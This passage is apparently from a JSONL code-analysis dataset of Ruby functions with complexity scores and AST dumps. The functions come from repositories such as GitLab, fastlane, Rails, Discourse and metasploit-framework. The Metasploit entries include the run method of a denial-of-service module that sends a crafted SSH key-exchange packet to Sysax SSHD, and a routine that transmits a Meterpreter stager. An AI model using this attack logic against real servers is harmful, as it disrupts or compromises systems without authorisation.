end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"undo_follow_request!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"follow_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FollowRequest\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"ivar\",\"children\":[\"@source_account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"ivar\",\"children\":[\"@target_account\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow_request\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow_request\"]},\"destroy!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target_account\"]},\"local?\"]},null,{\"type\":\"send\",\"children\":[null,\"create_notification\",{\"type\":\"lvar\",\"children\":[\"follow_request\"]}]}]},{\"type\":\"lvar\",\"children\":[\"follow_request\"]}]}]}","id":"09eb93ea-fb3d-4144-a419-59a7c77920b3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/testflight/testflight.rb","start_line":455,"raw_source":"def patch_builds(build_id: nil, attributes: {})\n          body = {\n            data: {\n              attributes: attributes,\n              id: build_id,\n              type: \"builds\"\n            }\n          }\n\n          test_flight_request_client.patch(\"#{Version::V1}/builds/#{build_id}\", body)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"patch_builds\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"build_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"build_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"builds\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_flight_request_client\"]},\"patch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/builds/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"fab93c56-5a16-4dfb-9e49-baf47cc99841"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/suppressor_test.rb","start_line":39,"raw_source":"def test_suppresses_create_in_callback\n    assert_difference -> { User.count } do\n      assert_no_difference -> { Notification.count } do\n        Notification.suppress { UserWithNotification.create! }\n      end\n    end\n  end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_suppresses_create_in_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"count\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_difference\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"count\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"suppress\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserWithNotification\"]},\"create!\"]}]}]}]}]}","id":"25f2e27f-36b4-4790-bd26-8b1941763886"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb","start_line":71,"raw_source":"def run\n    connect\n\n    banner = sock.get_once || ''\n    print_status(\"Banner: #{banner.strip}\")\n    sock.put('SSH-2.0-OpenSSH_5.1p1 ' + datastore['CLIENTVERSION'] + \"\\r\\n\" + get_packet)\n\n    # Sometimes the socket closes faster than it can read, sometimes it doesn't, so catch the error just in case.\n    begin\n      sock.get_once\n    rescue Errno::ECONNRESET => e\n      vprint_error(e.message)\n    end\n\n    disconnect\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Banner: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"strip\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SSH-2.0-OpenSSH_5.1p1 \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLIENTVERSION\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_packet\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNRESET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"83d76970-832c-41b4-9148-60f82697f17c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/alert_management/create_alert_issue_service.rb","start_line":12,"raw_source":"def initialize(alert, user)\n      @alert = alert\n      @user = user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alert\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@alert\",{\"type\":\"lvar\",\"children\":[\"alert\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"f6c52591-4857-4cc6-b350-477754249070"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/topics_helper.rb","start_line":6,"raw_source":"def render_topic_title(topic)\n    link_to(Emoji.gsub_emoji_to_unicode(topic.title), topic.relative_url)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render_topic_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Emoji\"]},\"gsub_emoji_to_unicode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"relative_url\"]}]}]}","id":"0451035a-3a28-45b6-a7e0-57546e6b8180"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_helper.rb","start_line":35,"raw_source":"def self.is_supported_media?(filename)\n    filename.match?(supported_media_regexp)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_supported_media?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"match?\",{\"type\":\"send\",\"children\":[null,\"supported_media_regexp\"]}]}]}","id":"b52669c2-3cbf-4afa-8268-77b236d8ead8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stages/linux/x64/meterpreter.rb","start_line":88,"raw_source":"def handle_intermediate_stage(conn, payload)\n    midstager = generate_intermediate_stage(payload)\n    vprint_status(\"Transmitting intermediate stager...(#{midstager.length} bytes)\")\n    conn.put(midstager) == midstager.length\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_intermediate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"midstager\",{\"type\":\"send\",\"children\":[null,\"generate_intermediate_stage\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Transmitting intermediate stager...(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midstager\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"midstager\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"midstager\"]},\"length\"]}]}]}]}","id":"efbc3297-dbc1-4cfe-8d58-69fc9db99baf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/web_socket.rb","start_line":192,"raw_source":"def get_wsframe(_opts = {})\n      frame = Frame.new\n      frame.header.read(self)\n      payload_data = ''\n      while payload_data.length < frame.payload_len\n        chunk = read(frame.payload_len - payload_data.length)\n        if chunk.empty? # no partial reads!\n          elog('WebSocket::Interface#get_wsframe: received an empty websocket payload data chunk')\n          return nil\n        end\n\n        payload_data << chunk\n      end\n      frame.payload_data.assign(payload_data)\n      frame\n    rescue ::IOError\n      wlog('WebSocket::Interface#get_wsframe: encountered an IOError while reading a websocket frame')\n      nil\n    end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_wsframe\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"frame\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Frame\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"header\"]},\"read\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]},\"length\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"payload_len\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunk\",{\"type\":\"send\",\"children\":[null,\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"payload_len\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]},\"length\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"WebSocket::Interface#get_wsframe: received an empty websocket payload data chunk\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frame\"]},\"payload_data\"]},\"assign\",{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]},{\"type\":\"lvar\",\"children\":[\"frame\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IOError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"str\",\"children\":[\"WebSocket::Interface#get_wsframe: encountered an IOError while reading a websocket frame\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"aa378251-d256-4802-bae0-dbc6486aa344"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_board_seeder.rb","start_line":183,"raw_source":"def seed_parent_child_board(board_data)\n      widgets = seed_parent_child_board_widgets\n      board =\n        ::Boards::Grid.new(\n          project:,\n          name: board_data.lookup(\"name\"),\n          options: { \"type\" => \"action\", \"attribute\" => \"subtasks\" },\n          widgets:,\n          column_count: widgets.count,\n          row_count: 1\n        )\n      board.save!\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_parent_child_board\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"board_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"widgets\",{\"type\":\"send\",\"children\":[null,\"seed_parent_child_board_widgets\"]}]},{\"type\":\"lvasgn\",\"children\":[\"board\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Boards\"]},\"Grid\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board_data\"]},\"lookup\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"attribute\"]},{\"type\":\"str\",\"children\":[\"subtasks\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"widgets\"]},{\"type\":\"lvar\",\"children\":[\"widgets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widgets\"]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"row_count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"board\"]},\"save!\"]}]}]}","id":"d6d27bec-ae61-4022-9e80-92f87e728deb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/remote_storage.rb","start_line":120,"raw_source":"def remote_directory\n      Gitlab.config.backup.upload.remote_directory\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remote_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"backup\"]},\"upload\"]},\"remote_directory\"]}]}","id":"d84ea0a3-8f19-4189-8920-6f84bbd30193"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/helper/git_helper.rb","start_line":47,"raw_source":"def self.last_git_tag_name(match_lightweight = true, tag_match_pattern = nil)\n      hash = last_git_tag_hash(tag_match_pattern)\n      # If hash is nil (command fails), \"git describe\" command below will still\n      # run and provide some output, although it's definitely not going to be\n      # anything reasonably expected. Bail out early.\n      return unless hash\n\n      command = %w(git describe)\n      command << '--tags' if match_lightweight\n      command << hash\n      command << '--match' if tag_match_pattern\n      command << tag_match_pattern if tag_match_pattern\n      Actions.sh(*command.compact, log: false).chomp\n    rescue\n      nil\n    end","complexity_score":20.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_git_tag_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"match_lightweight\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"tag_match_pattern\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"last_git_tag_hash\",{\"type\":\"lvar\",\"children\":[\"tag_match_pattern\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"str\",\"children\":[\"describe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_lightweight\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--tags\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_match_pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"str\",\"children\":[\"--match\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_match_pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tag_match_pattern\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"sh\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"compact\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"chomp\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"87e02fa8-a482-4539-b918-550d75a05ee0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/import_user_creator.rb","start_line":87,"raw_source":"def import_user_in_cache\n        Gitlab::SafeRequestStore.read(request_store_cache_key)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_user_in_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"request_store_cache_key\"]}]}]}","id":"932e9841-206c-4451-990b-c95de59b646a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/sub_menus/super_sidebar/global_search_modal.rb","start_line":11,"raw_source":"def self.prepended(base)\n            super\n\n            base.class_eval do\n              view 'app/assets/javascripts/super_sidebar/components/global_search/' \\\n                   'components/global_search_default_places.vue' do\n                element :_, \"'data-qa-places-item': title\" # rubocop:disable QA/ElementWithPattern\n                element 'places-item-link'\n              end\n\n              view 'app/assets/javascripts/super_sidebar/components/global_search/components/global_search.vue' do\n                element 'global-search-input'\n              end\n\n              view 'app/assets/javascripts/super_sidebar/components/user_bar.vue' do\n                element 'super-sidebar-search-button'\n              end\n\n              view 'app/assets/javascripts/super_sidebar/components/super_topbar.vue' do\n                element 'super-topbar-search-button'\n              end\n            end\n          end","complexity_score":22.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepended\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/global_search/\"]},{\"type\":\"str\",\"children\":[\"components/global_search_default_places.vue\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"sym\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\"'data-qa-places-item': title\"]}]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"places-item-link\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/global_search/components/global_search.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"global-search-input\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/user_bar.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"super-sidebar-search-button\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts/super_sidebar/components/super_topbar.vue\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"str\",\"children\":[\"super-topbar-search-button\"]}]}]}]}]}]}]}","id":"7a8ef536-e978-41d5-975c-0652f5a4d711"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/notes_actions.rb","start_line":178,"raw_source":"def diff_discussion_html(discussion)\n    return unless discussion.diff_discussion?\n\n    on_image = discussion.on_image?\n\n    if params[:view] == 'parallel' && !on_image\n      template = \"discussions/_parallel_diff_discussion\"\n      locals =\n        if params[:line_type] == 'old'\n          { discussions_left: [discussion], discussions_right: nil }\n        else\n          { discussions_left: nil, discussions_right: [discussion] }\n        end\n    else\n      template = \"discussions/_diff_discussion\"\n      @fresh_discussion = true # rubocop:disable Gitlab/ModuleWithInstanceVariables\n\n      locals = { discussions: [discussion], on_image: on_image }\n    end\n\n    render_to_string(\n      template,\n      layout: false,\n      formats: [:html],\n      locals: locals\n    )\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_discussion_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"discussion\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]},\"diff_discussion?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"on_image\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]},\"on_image?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"view\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"parallel\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on_image\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"discussions/_parallel_diff_discussion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"line_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"old\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussions_left\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussions_right\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussions_left\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussions_right\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"discussions/_diff_discussion\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fresh_discussion\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discussions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"discussion\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_image\"]},{\"type\":\"lvar\",\"children\":[\"on_image\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]}]}]}]}","id":"8c2e907e-f3ce-44b8-8128-c0cc9941f5ba"}
